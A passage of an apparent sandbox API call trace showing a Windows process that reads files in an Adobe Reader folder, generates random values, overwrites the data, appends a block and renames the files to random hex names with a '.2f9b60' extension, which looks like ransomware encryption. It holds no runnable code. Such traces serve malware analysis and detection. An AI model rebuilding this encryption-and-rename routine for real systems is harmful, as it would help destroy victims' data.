RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce5b830 [0163.952] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e80 [0163.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e80) returned 1 [0163.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d080 [0163.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e80 [0163.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e50 [0163.953] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e50) returned 1 [0163.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5b830) returned 1 [0163.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce191d0) returned 1 [0163.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7d7f80 [0163.954] sprintf (in: _Dest=0x1b7d7f80, _Format="%c%c" | out: _Dest="9c") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f82, _Format="%c%c" | out: _Dest="11") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f84, _Format="%c%c" | out: _Dest="0d") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f86, _Format="%c%c" | out: _Dest="49") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f88, _Format="%c%c" | out: _Dest="bb") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f8a, _Format="%c%c" | out: _Dest="d6") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f8c, _Format="%c%c" | out: _Dest="30") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f8e, _Format="%c%c" | out: _Dest="9e") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f90, _Format="%c%c" | out: _Dest="76") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f92, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.954] sprintf (in: _Dest=0x1b7d7f94, _Format="%c%c" | out: _Dest="13") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7f96, _Format="%c%c" | out: _Dest="2f") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7f98, _Format="%c%c" | out: _Dest="43") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7f9a, _Format="%c%c" | out: _Dest="36") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7f9c, _Format="%c%c" | out: _Dest="64") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7f9e, _Format="%c%c" | out: _Dest="db") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7fa0, _Format="%c%c" | out: _Dest="45") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7fa2, _Format="%c%c" | out: _Dest="dc") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7fa4, _Format="%c%c" | out: _Dest="23") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7fa6, _Format="%c%c" | out: _Dest="4c") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7fa8, _Format="%c%c" | out: _Dest="7c") returned 2 [0163.955] sprintf (in: _Dest=0x1b7d7faa, _Format="%c%c" | out: _Dest="39") returned 2 [0163.955] RtlInitAnsiString (in: DestinationString=0x25b5f8e8, SourceString="9c110d49bbd6309e767c132f433664db45dc234c7c39" | out: DestinationString="9c110d49bbd6309e767c132f433664db45dc234c7c39") [0163.955] RtlAnsiStringToUnicodeString (in: DestinationString=0x25b5f8b8, SourceString="9c110d49bbd6309e767c132f433664db45dc234c7c39", AllocateDestinationString=1 | out: DestinationString="9c110d49bbd6309e767c132f433664db45dc234c7c39") returned 0x0 [0163.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x203fa430 [0163.955] RtlFreeAnsiString (AnsiString="9") [0163.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7f80) returned 1 [0163.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d080) returned 1 [0163.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3e80) returned 1 [0163.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a9700) returned 1 [0163.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6d70) returned 1 [0163.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6da0) returned 1 [0163.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6d40) returned 1 [0163.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a6d10) returned 1 [0163.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053eb0) returned 1 [0163.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053f70) returned 1 [0163.958] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42053fa0) returned 1 [0163.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4230df60 [0163.958] wcscat (in: _Dest=0x4230df60, _Source="9c110d49bbd" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\9c110d49bbd") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\9c110d49bbd" [0163.958] wcscat (in: _Dest=0x4230df60, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\9c110d49bbd.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\9c110d49bbd.2f9b60" [0163.958] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\9c110d49bbd.2f9b60", NtPathName=0x25b5f890, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\9c110d49bbd.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0163.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c2a990 Thread: id = 2429 os_tid = 0x1e68 [0153.453] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol")) returned 0x20 [0153.454] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL", dwFileAttributes=0x20) returned 1 [0153.455] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.POL" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.pol"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x142c [0153.455] GetFileSizeEx (in: hFile=0x142c, lpFileSize=0x24cdf760 | out: lpFileSize=0x24cdf760*=8192) returned 1 [0153.455] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x1ffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.455] ReadFile (in: hFile=0x142c, lpBuffer=0x24cdf6e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x24cdf728, lpOverlapped=0x0 | out: lpBuffer=0x24cdf6e0*, lpNumberOfBytesRead=0x24cdf728*=0x4, lpOverlapped=0x0) returned 1 [0154.187] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.187] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9260 [0154.188] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92f0 [0154.188] NtQuerySystemTime (in: CurrentTime=0x24cdf620 | out: CurrentTime=0x24cdf620*=132462177593146000) returned 0x0 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x2e8ea574 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x68d4e01c [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x4fbd16f7 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x46dcb99a [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x5f955851 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x68062fdf [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x693a5e8c [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x705be769 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x6f122f8f [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x711409e8 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x5f80b03f [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x63c308b5 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x524fd404 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x40ccde02 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x535c00eb [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x350e336a [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x408e4d2b [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x2eb52353 [0154.188] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x7da9d887 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x436a068e [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x1b6c3582 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x127fd973 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x32e43668 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0xab978ea [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x7f373133 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x2d7e6cdd [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x956b3ec [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x307594f0 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x1d3b1bf2 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x5569ae45 [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x7e34827c [0154.189] RtlRandomEx (in: Seed=0x24cdf610 | out: Seed=0x24cdf610) returned 0x719cf25d [0154.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9320 [0154.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0154.201] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9350 [0154.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0154.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd92f0) returned 1 [0154.202] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1b10 [0154.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0154.202] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.203] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f5260) returned 1 [0154.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427b45f0 [0154.203] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x427b8200 [0154.203] ReadFile (in: hFile=0x142c, lpBuffer=0x427b45f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x24cdf610, lpOverlapped=0x0 | out: lpBuffer=0x427b45f0*, lpNumberOfBytesRead=0x24cdf610*=0x2000, lpOverlapped=0x0) returned 1 [0154.261] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.261] WriteFile (in: hFile=0x142c, lpBuffer=0x427b8200*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x24cdf614, lpOverlapped=0x0 | out: lpBuffer=0x427b8200*, lpNumberOfBytesWritten=0x24cdf614*=0x2000, lpOverlapped=0x0) returned 1 [0162.229] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced88b0 [0162.230] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7560 [0162.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7560) returned 1 [0162.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427b8200) returned 1 [0162.230] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x427b45f0) returned 1 [0162.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0162.231] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1b10) returned 1 [0162.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced7560 [0162.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ced1b10 [0162.231] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e090 [0162.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced88e0 [0162.232] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88e0) returned 1 [0162.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1ced88e0 [0162.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced8310 [0162.232] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced7440 [0162.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7440) returned 1 [0162.233] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e090) returned 1 [0162.234] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced1b10) returned 1 [0162.234] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x108) returned 0x42c16a20 [0162.234] SetFilePointerEx (in: hFile=0x142c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0162.234] WriteFile (in: hFile=0x142c, lpBuffer=0x42c16a20*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x24cdf730, lpOverlapped=0x0 | out: lpBuffer=0x42c16a20*, lpNumberOfBytesWritten=0x24cdf730*=0x108, lpOverlapped=0x0) returned 1 [0166.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0166.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869240 [0166.434] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0166.435] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b620) returned 1 [0166.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d1c0 [0166.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b620 [0166.435] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b2f0 [0166.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b2f0) returned 1 [0166.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0166.436] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0166.436] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1b7aa1e0 [0166.436] sprintf (in: _Dest=0x1b7aa1e0, _Format="%c%c" | out: _Dest="55") returned 2 [0166.436] sprintf (in: _Dest=0x1b7aa1e2, _Format="%c%c" | out: _Dest="e7") returned 2 [0166.436] sprintf (in: _Dest=0x1b7aa1e4, _Format="%c%c" | out: _Dest="b0") returned 2 [0166.436] sprintf (in: _Dest=0x1b7aa1e6, _Format="%c%c" | out: _Dest="fc") returned 2 [0166.436] sprintf (in: _Dest=0x1b7aa1e8, _Format="%c%c" | out: _Dest="3d") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1ea, _Format="%c%c" | out: _Dest="1a") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1ec, _Format="%c%c" | out: _Dest="0b") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1ee, _Format="%c%c" | out: _Dest="32") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1f0, _Format="%c%c" | out: _Dest="9f") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1f2, _Format="%c%c" | out: _Dest="d3") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1f4, _Format="%c%c" | out: _Dest="f0") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1f6, _Format="%c%c" | out: _Dest="df") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1f8, _Format="%c%c" | out: _Dest="02") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1fa, _Format="%c%c" | out: _Dest="47") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1fc, _Format="%c%c" | out: _Dest="7d") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa1fe, _Format="%c%c" | out: _Dest="13") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa200, _Format="%c%c" | out: _Dest="24") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa202, _Format="%c%c" | out: _Dest="c8") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa204, _Format="%c%c" | out: _Dest="f4") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa206, _Format="%c%c" | out: _Dest="3d") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa208, _Format="%c%c" | out: _Dest="77") returned 2 [0166.437] sprintf (in: _Dest=0x1b7aa20a, _Format="%c%c" | out: _Dest="a8") returned 2 [0166.437] RtlInitAnsiString (in: DestinationString=0x24cdf7a8, SourceString="55e7b0fc3d1a0b329fd3f0df02477d1324c8f43d77a8" | out: DestinationString="55e7b0fc3d1a0b329fd3f0df02477d1324c8f43d77a8") [0166.437] RtlAnsiStringToUnicodeString (in: DestinationString=0x24cdf778, SourceString="55e7b0fc3d1a0b329fd3f0df02477d1324c8f43d77a8", AllocateDestinationString=1 | out: DestinationString="55e7b0fc3d1a0b329fd3f0df02477d1324c8f43d77a8") returned 0x0 [0166.437] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9240 [0166.438] RtlFreeAnsiString (AnsiString="5") [0166.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7aa1e0) returned 1 [0166.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0166.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b620) returned 1 [0166.438] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c16a20) returned 1 [0166.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88e0) returned 1 [0166.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8310) returned 1 [0166.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7560) returned 1 [0166.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced88b0) returned 1 [0166.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9260) returned 1 [0166.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9320) returned 1 [0166.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdd9350) returned 1 [0166.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30f90 [0166.440] wcscat (in: _Dest=0x42c30f90, _Source="55e7b0fc3d1" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\55e7b0fc3d1") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\55e7b0fc3d1" [0166.440] wcscat (in: _Dest=0x42c30f90, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\55e7b0fc3d1.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\55e7b0fc3d1.2f9b60" [0166.440] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\55e7b0fc3d1.2f9b60", NtPathName=0x24cdf750, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\55e7b0fc3d1.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0166.440] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c36b10 Thread: id = 2430 os_tid = 0x1e6c [0153.457] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb")) returned 0x20 [0153.457] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB", dwFileAttributes=0x20) returned 1 [0153.458] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.PTB" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.ptb"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1428 [0153.458] GetFileSizeEx (in: hFile=0x1428, lpFileSize=0x280cfde0 | out: lpFileSize=0x280cfde0*=7680) returned 1 [0153.458] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x1dfc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.458] ReadFile (in: hFile=0x1428, lpBuffer=0x280cfd60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x280cfda8, lpOverlapped=0x0 | out: lpBuffer=0x280cfd60*, lpNumberOfBytesRead=0x280cfda8*=0x4, lpOverlapped=0x0) returned 1 [0154.204] SetFilePointerEx (in: hFile=0x1428, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0154.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f5260 [0154.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd92f0 [0154.204] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd9380 [0154.204] NtQuerySystemTime (in: CurrentTime=0x280cfca0 | out: CurrentTime=0x280cfca0*=132462177593302000) returned 0x0 [0154.204] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x3614c5c7 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x6bf42c6c [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x51bbbac3 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x5edf14a9 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x4a1b89a1 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x374383e7 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x76c610f3 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x11519036 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x35b9d96c [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x6971a650 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x47fae4e8 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x2d0859dc [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x7f207079 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0xc9dc264 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x7c8779d2 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x6d6b668b [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x2b4c899a [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x31521e6f [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x36631770 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x1b828552 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x7172f4e3 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x636bc09 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x10ea10b7 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0xf40b384 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x44de0ef3 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x69cf39b6 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x69a39059 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x79349513 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x348ff28 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x441dcee1 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x71d387f5 [0154.205] RtlRandomEx (in: Seed=0x280cfc90 | out: Seed=0x280cfc90) returned 0x547c67ca [0154.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93b0 [0154.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0154.214] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdd93e0 [0154.215] RtlFreeHeap 